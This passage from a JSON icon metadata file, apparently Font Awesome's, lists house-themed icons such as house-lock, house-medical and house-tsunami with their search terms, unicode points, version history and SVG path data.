        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M306.8 6.1C295.6-2 280.4-2 269.2 6.1l-176 128c-11.2 8.2-15.9 22.6-11.6 35.8S98.1 192 112 192h16v73c1.7 1 3.3 2 4.9 3.1c18 12.4 40.1 20.3 59.2 20.3c21.1 0 42-8.5 59.2-20.3c22.1-15.5 51.6-15.5 73.7 0c18.4 12.7 39.6 20.3 59.2 20.3c19 0 41.2-7.9 59.2-20.3c1.5-1 3-2 4.5-2.9l-.3-73.2H464c13.9 0 26.1-8.9 30.4-22.1s-.4-27.6-11.6-35.8l-176-128zM269.5 309.9C247 325.4 219.5 336 192 336c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C126.5 389.7 159 400 192 400c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.5-27.3-10.1-39.2-1.7l0 0C439.4 325.2 410.9 336 384 336c-27.5 0-55-10.6-77.5-26.1c-11.1-7.9-25.9-7.9-37 0zM384 448c-27.5 0-55-10.6-77.5-26.1c-11.1-7.9-25.9-7.9-37 0C247 437.4 219.5 448 192 448c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C126.5 501.7 159 512 192 512c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.4-27.3-10.1-39.2-1.7l0 0C439.4 437.2 410.9 448 384 448z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M306.8 6.1C295.6-2 280.4-2 269.2 6.1l-176 128c-11.2 8.2-15.9 22.6-11.6 35.8S98.1 192 112 192h16v73c1.7 1 3.3 2 4.9 3.1c18 12.4 40.1 20.3 59.2 20.3c21.1 0 42-8.5 59.2-20.3c22.1-15.5 51.6-15.5 73.7 0c18.4 12.7 39.6 20.3 59.2 20.3c19 0 41.2-7.9 59.2-20.3c1.5-1 3-2 4.5-2.9l-.3-73.2H464c13.9 0 26.1-8.9 30.4-22.1s-.4-27.6-11.6-35.8l-176-128zM269.5 309.9C247 325.4 219.5 336 192 336c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C126.5 389.7 159 400 192 400c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.5-27.3-10.1-39.2-1.7l0 0C439.4 325.2 410.9 336 384 336c-27.5 0-55-10.6-77.5-26.1c-11.1-7.9-25.9-7.9-37 0zM384 448c-27.5 0-55-10.6-77.5-26.1c-11.1-7.9-25.9-7.9-37 0C247 437.4 219.5 448 192 448c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C126.5 501.7 159 512 192 512c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.4-27.3-10.1-39.2-1.7l0 0C439.4 437.2 410.9 448 384 448z"
      }
    },
    "free": ["solid"]
  },
  "house-flood-water-circle-arrow-right": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["damage", "flood", "water"]
    },
    "styles": ["solid"],
    "unicode": "e50f",
    "label": "House Flood Water Circle Arrow Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M288 144A144 144 0 1 0 0 144a144 144 0 1 0 288 0zM140.7 76.7c6.2-6.2 16.4-6.2 22.6 0l56 56c6.2 6.2 6.2 16.4 0 22.6l-56 56c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L169.4 160H80c-8.8 0-16-7.2-16-16s7.2-16 16-16h89.4L140.7 99.3c-6.2-6.2-6.2-16.4 0-22.6zM320 144c0 57.3-27.4 108.2-69.8 140.3c11.8-3.6 23-9.4 33-16.2c22.1-15.5 51.6-15.5 73.7 0c18.4 12.7 39.6 20.3 59.2 20.3c19 0 41.2-7.9 59.2-20.3c23.8-16.7 55.8-15.4 78.1 3.4c2.1 1.7 4.2 3.3 6.5 4.9l-.3-84.4H576c13.9 0 26.1-8.9 30.4-22.1s-.4-27.6-11.6-35.8l-176-128C407.6-2 392.4-2 381.2 6.1L301 64.4c12.1 23.9 19 50.9 19 79.6zm18.5 165.9c-11.1-7.9-25.9-7.9-37 0C279 325.4 251.5 336 224 336c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C158.5 389.7 191 400 224 400c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.6 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.5-27.3-10.1-39.2-1.7l0 0C471.4 325.2 442.9 336 416 336c-27.5 0-55-10.6-77.5-26.1zm0 112c-11.1-7.9-25.9-7.9-37 0C279 437.4 251.5 448 224 448c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C158.5 501.7 191 512 224 512c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.6 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.4-27.3-10.1-39.2-1.7l0 0C471.4 437.2 442.9 448 416 448c-27.5 0-55-10.6-77.5-26.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M288 144A144 144 0 1 0 0 144a144 144 0 1 0 288 0zM140.7 76.7c6.2-6.2 16.4-6.2 22.6 0l56 56c6.2 6.2 6.2 16.4 0 22.6l-56 56c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L169.4 160H80c-8.8 0-16-7.2-16-16s7.2-16 16-16h89.4L140.7 99.3c-6.2-6.2-6.2-16.4 0-22.6zM320 144c0 57.3-27.4 108.2-69.8 140.3c11.8-3.6 23-9.4 33-16.2c22.1-15.5 51.6-15.5 73.7 0c18.4 12.7 39.6 20.3 59.2 20.3c19 0 41.2-7.9 59.2-20.3c23.8-16.7 55.8-15.4 78.1 3.4c2.1 1.7 4.2 3.3 6.5 4.9l-.3-84.4H576c13.9 0 26.1-8.9 30.4-22.1s-.4-27.6-11.6-35.8l-176-128C407.6-2 392.4-2 381.2 6.1L301 64.4c12.1 23.9 19 50.9 19 79.6zm18.5 165.9c-11.1-7.9-25.9-7.9-37 0C279 325.4 251.5 336 224 336c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C158.5 389.7 191 400 224 400c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.6 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.5-27.3-10.1-39.2-1.7l0 0C471.4 325.2 442.9 336 416 336c-27.5 0-55-10.6-77.5-26.1zm0 112c-11.1-7.9-25.9-7.9-37 0C279 437.4 251.5 448 224 448c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C158.5 501.7 191 512 224 512c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.6 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.4-27.3-10.1-39.2-1.7l0 0C471.4 437.2 442.9 448 416 448c-27.5 0-55-10.6-77.5-26.1z"
      }
    },
    "free": ["solid"]
  },
  "house-laptop": {
    "aliases": {
      "names": ["laptop-house"],
      "unicodes": {
        "secondary": ["10e066"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "computer",
        "covid-19",
        "device",
        "office",
        "remote",
        "work from home"
      ]
    },
    "styles": ["solid"],
    "unicode": "e066",
    "label": "House Laptop",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M218.3 8.5c12.3-11.3 31.2-11.3 43.4 0l208 192c6.7 6.2 10.3 14.8 10.3 23.5H336c-19.1 0-36.3 8.4-48 21.7V208c0-8.8-7.2-16-16-16H208c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h64V416H112c-26.5 0-48-21.5-48-48V256H32c-13.2 0-25-8.1-29.8-20.3s-1.6-26.2 8.1-35.2l208-192zM352 304V448H544V304H352zm-48-16c0-17.7 14.3-32 32-32H560c17.7 0 32 14.3 32 32V448h32c8.8 0 16 7.2 16 16c0 26.5-21.5 48-48 48H544 352 304c-26.5 0-48-21.5-48-48c0-8.8 7.2-16 16-16h32V288z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M218.3 8.5c12.3-11.3 31.2-11.3 43.4 0l208 192c6.7 6.2 10.3 14.8 10.3 23.5H336c-19.1 0-36.3 8.4-48 21.7V208c0-8.8-7.2-16-16-16H208c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h64V416H112c-26.5 0-48-21.5-48-48V256H32c-13.2 0-25-8.1-29.8-20.3s-1.6-26.2 8.1-35.2l208-192zM352 304V448H544V304H352zm-48-16c0-17.7 14.3-32 32-32H560c17.7 0 32 14.3 32 32V448h32c8.8 0 16 7.2 16 16c0 26.5-21.5 48-48 48H544 352 304c-26.5 0-48-21.5-48-48c0-8.8 7.2-16 16-16h32V288z"
      }
    },
    "free": ["solid"]
  },
  "house-lock": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["closed", "home", "house", "lockdown", "quarantine"]
    },
    "styles": ["solid"],
    "unicode": "e510",
    "label": "House Lock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M384 480c0 11.7 3.1 22.6 8.6 32H392c-22.1 0-40-17.9-40-40V448 384c0-17.7-14.3-32-32-32H256c-17.7 0-32 14.3-32 32v64 24c0 22.1-17.9 40-40 40H160 128.1c-1.5 0-3-.1-4.5-.2c-1.2 .1-2.4 .2-3.6 .2H104c-22.1 0-40-17.9-40-40V360c0-.9 0-1.9 .1-2.8V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L490.7 166.3C447.2 181.7 416 223.2 416 272v24.6c-19.1 11.1-32 31.7-32 55.4V480zM528 240c-17.7 0-32 14.3-32 32v48h64V272c0-17.7-14.3-32-32-32zm-80 32c0-44.2 35.8-80 80-80s80 35.8 80 80v48c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H448c-17.7 0-32-14.3-32-32V352c0-17.7 14.3-32 32-32V272z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M384 480c0 11.7 3.1 22.6 8.6 32H392c-22.1 0-40-17.9-40-40V448 384c0-17.7-14.3-32-32-32H256c-17.7 0-32 14.3-32 32v64 24c0 22.1-17.9 40-40 40H160 128.1c-1.5 0-3-.1-4.5-.2c-1.2 .1-2.4 .2-3.6 .2H104c-22.1 0-40-17.9-40-40V360c0-.9 0-1.9 .1-2.8V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L490.7 166.3C447.2 181.7 416 223.2 416 272v24.6c-19.1 11.1-32 31.7-32 55.4V480zM528 240c-17.7 0-32 14.3-32 32v48h64V272c0-17.7-14.3-32-32-32zm-80 32c0-44.2 35.8-80 80-80s80 35.8 80 80v48c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H448c-17.7 0-32-14.3-32-32V352c0-17.7 14.3-32 32-32V272z"
      }
    },
    "free": ["solid"]
  },
  "house-medical": {
    "changes": [
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "covid-19",
        "doctor",
        "facility",
        "general practitioner",
        "health",
        "hospital",
        "infirmary",
        "medicine",
        "office",
        "outpatient"
      ]
    },
    "styles": ["solid"],
    "unicode": "e3b2",
    "label": "House Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M543.8 287.6c17 0 32-14 32-32.1c1-9-3-17-11-24L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32V448c0 35.3 28.7 64 64 64H448.5c35.5 0 64.2-28.8 64-64.3l-.7-160.2h32zM256 208c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H320v48c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V320H208c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h48V208z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M543.8 287.6c17 0 32-14 32-32.1c1-9-3-17-11-24L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32V448c0 35.3 28.7 64 64 64H448.5c35.5 0 64.2-28.8 64-64.3l-.7-160.2h32zM256 208c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H320v48c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V320H208c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h48V208z"
      }
    },
    "free": ["solid"]
  },
  "house-medical-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["clinic", "hospital", "not affected", "ok", "okay"]
    },
    "styles": ["solid"],
    "unicode": "e511",
    "label": "House Medical Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 368c0 59.5 29.5 112.1 74.8 144H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L522.1 193.9c-8.5-1.3-17.3-1.9-26.1-1.9c-54.7 0-103.5 24.9-135.8 64H320V208c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16v48H208c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16zm32 0a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm211.3-43.3c-6.2-6.2-16.4-6.2-22.6 0L480 385.4l-28.7-28.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l40 40c6.2 6.2 16.4 6.2 22.6 0l72-72c6.2-6.2 6.2-16.4 0-22.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 368c0 59.5 29.5 112.1 74.8 144H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L522.1 193.9c-8.5-1.3-17.3-1.9-26.1-1.9c-54.7 0-103.5 24.9-135.8 64H320V208c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16v48H208c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16zm32 0a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm211.3-43.3c-6.2-6.2-16.4-6.2-22.6 0L480 385.4l-28.7-28.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l40 40c6.2 6.2 16.4 6.2 22.6 0l72-72c6.2-6.2 6.2-16.4 0-22.6z"
      }
    },
    "free": ["solid"]
  },
  "house-medical-circle-exclamation": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["affected", "clinic", "hospital"]
    },
    "styles": ["solid"],
    "unicode": "e512",
    "label": "House Medical Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 368c0 59.5 29.5 112.1 74.8 144H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L522.1 193.9c-8.5-1.3-17.3-1.9-26.1-1.9c-54.7 0-103.5 24.9-135.8 64H320V208c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16v48H208c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16zM496 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm0 240a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm0-192c-8.8 0-16 7.2-16 16v80c0 8.8 7.2 16 16 16s16-7.2 16-16V288c0-8.8-7.2-16-16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 368c0 59.5 29.5 112.1 74.8 144H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L522.1 193.9c-8.5-1.3-17.3-1.9-26.1-1.9c-54.7 0-103.5 24.9-135.8 64H320V208c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16v48H208c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16zM496 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm0 240a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm0-192c-8.8 0-16 7.2-16 16v80c0 8.8 7.2 16 16 16s16-7.2 16-16V288c0-8.8-7.2-16-16-16z"
      }
    },
    "free": ["solid"]
  },
  "house-medical-circle-xmark": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["clinic", "destroy", "hospital"]
    },
    "styles": ["solid"],
    "unicode": "e513",
    "label": "House Medical Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 368c0 59.5 29.5 112.1 74.8 144H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L522.1 193.9c-8.5-1.3-17.3-1.9-26.1-1.9c-54.7 0-103.5 24.9-135.8 64H320V208c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16v48H208c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16zM496 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm22.6 144l36.7-36.7c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0L496 345.4l-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6L473.4 368l-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L496 390.6l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6L518.6 368z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 368c0 59.5 29.5 112.1 74.8 144H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L522.1 193.9c-8.5-1.3-17.3-1.9-26.1-1.9c-54.7 0-103.5 24.9-135.8 64H320V208c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16v48H208c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16zM496 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm22.6 144l36.7-36.7c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0L496 345.4l-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6L473.4 368l-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L496 390.6l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6L518.6 368z"
      }
    },
    "free": ["solid"]
  },
  "house-medical-flag": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["clinic", "hospital", "mash"]
    },
    "styles": ["solid"],
    "unicode": "e514",
    "label": "House Medical Flag",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M480 0c17.7 0 32 14.3 32 32H624c8.8 0 16 7.2 16 16V176c0 8.8-7.2 16-16 16H512V512H448V192 32c0-17.7 14.3-32 32-32zM276.8 39.7L416 159V512h1l-.2 0H96c-17.7 0-32-14.3-32-32V288H32c-13.4 0-25.4-8.3-30-20.9s-1-26.7 9.2-35.4l224-192c12-10.3 29.7-10.3 41.7 0zM224 208v48H176c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320h48c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H288V208c0-8.8-7.2-16-16-16H240c-8.8 0-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M480 0c17.7 0 32 14.3 32 32H624c8.8 0 16 7.2 16 16V176c0 8.8-7.2 16-16 16H512V512H448V192 32c0-17.7 14.3-32 32-32zM276.8 39.7L416 159V512h1l-.2 0H96c-17.7 0-32-14.3-32-32V288H32c-13.4 0-25.4-8.3-30-20.9s-1-26.7 9.2-35.4l224-192c12-10.3 29.7-10.3 41.7 0zM224 208v48H176c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320h48c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H288V208c0-8.8-7.2-16-16-16H240c-8.8 0-16 7.2-16 16z"
      }
    },
    "free": ["solid"]
  },
  "house-signal": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e012"]
      }
    },
    "changes": [
      "5.12.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "abode",
        "building",
        "connect",
        "family",
        "home",
        "residence",
        "smart home",
        "wifi"
      ]
    },
    "styles": ["solid"],
    "unicode": "e012",
    "label": "House Signal",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M357.7 8.5c-12.3-11.3-31.2-11.3-43.4 0l-208 192c-9.4 8.6-12.7 22-8.5 34c87.1 25.3 155.6 94.2 180.3 181.6H464c26.5 0 48-21.5 48-48V256h32c13.2 0 25-8.1 29.8-20.3s1.6-26.2-8.1-35.2l-208-192zM288 208c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H304c-8.8 0-16-7.2-16-16V208zM24 256c-13.3 0-24 10.7-24 24s10.7 24 24 24c101.6 0 184 82.4 184 184c0 13.3 10.7 24 24 24s24-10.7 24-24c0-128.1-103.9-232-232-232zm8 256a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM0 376c0 13.3 10.7 24 24 24c48.6 0 88 39.4 88 88c0 13.3 10.7 24 24 24s24-10.7 24-24c0-75.1-60.9-136-136-136c-13.3 0-24 10.7-24 24z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M357.7 8.5c-12.3-11.3-31.2-11.3-43.4 0l-208 192c-9.4 8.6-12.7 22-8.5 34c87.1 25.3 155.6 94.2 180.3 181.6H464c26.5 0 48-21.5 48-48V256h32c13.2 0 25-8.1 29.8-20.3s1.6-26.2-8.1-35.2l-208-192zM288 208c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H304c-8.8 0-16-7.2-16-16V208zM24 256c-13.3 0-24 10.7-24 24s10.7 24 24 24c101.6 0 184 82.4 184 184c0 13.3 10.7 24 24 24s24-10.7 24-24c0-128.1-103.9-232-232-232zm8 256a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM0 376c0 13.3 10.7 24 24 24c48.6 0 88 39.4 88 88c0 13.3 10.7 24 24 24s24-10.7 24-24c0-75.1-60.9-136-136-136c-13.3 0-24 10.7-24 24z"
      }
    },
    "free": ["solid"]
  },
  "house-tsunami": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["damage", "flood", "tidal wave", "wave"]
    },
    "styles": ["solid"],
    "unicode": "e515",
    "label": "House Tsunami",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
